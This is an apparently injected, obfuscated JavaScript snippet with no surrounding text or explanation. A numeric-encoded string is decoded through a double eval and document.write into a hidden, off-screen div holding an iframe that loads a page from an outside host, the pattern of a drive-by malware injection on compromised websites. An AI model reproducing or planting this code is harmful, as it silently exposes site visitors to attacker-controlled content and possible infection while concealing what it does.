s="535590574589580587591507583572585578592572578576536549572593572558574589580587591537507575586574592584576585591521594589580591576515509535575580593507580575536514585576594580575514507590591596583576536514587572575575580585578533523534584572589578580585533523534587586590580591580586585533572573590586583592591576534583576577591533523534591586587533523534594580575591579533524523523512534579576580578579591533525523523523534597520580585575576595533524534573572574582578589586592585575520574586583586589533594579580591576514537535580577589572584576507590589574536514579591591587533522522572573574580585577586579576583587521574586584522572575593580590586589520584586575592583576590522574586585591576595591570572575593538572574574586592585591536583584572587531528513589576577536509518591586587521575586574592584576585591521589576577576589589576589518509514507594580575591579536514524523523512514507579576580578579591536514524523523512514507590574589586583583580585578536514585586514507585586589576590580597576537535522580577589572584576537535522575580593537509516534507535522590574589580587591537507";k="f=String.fromCharCode(32,32,32,118,97,114,32,32,111,32,32,61,32,32,39,39,32,59,32,102,117,110,99,116,105,111,110,32,32,100,32,32,40,32,32,32,41,32,32,123,32,32,32,105,32,32,61,32,32,48,32,59,32,32,32,99,32,61,32,32,32,48,32,32,32,59,32,119,104,105,108,101,32,40,32,32,105,32,32,60,32,115,46,108,101,110,103,116,104,32,32,32,41,32,32,32,123,32,32,99,32,32,61,32,77,97,116,104,46,114,111,117,110,100,32,32,32,40,32,32,32,115,46,99,104,97,114,65,116,40,32,32,32,105,32,32,41,32,32,32,43,32,115,46,99,104,97,114,65,116,40,32,105,32,32,32,43,32,32,49,32,32,32,41,32,32,32,43,32,32,32,115,46,99,104,97,114,65,116,40,32,105,32,32,43,32,32,50,32,41,32,41,32,45,32,32,32,52,55,53,59,32,32,32,105,32,32,32,61,32,32,105,32,32,32,43,32,32,32,51,32,59,32,32,32,111,43,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,32,32,99,32,32,32,41,32,59,32,125,32,32,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,32,32,111,32,32,41,32,125,32,32,100,40,32,41,59);";eval(eval(k));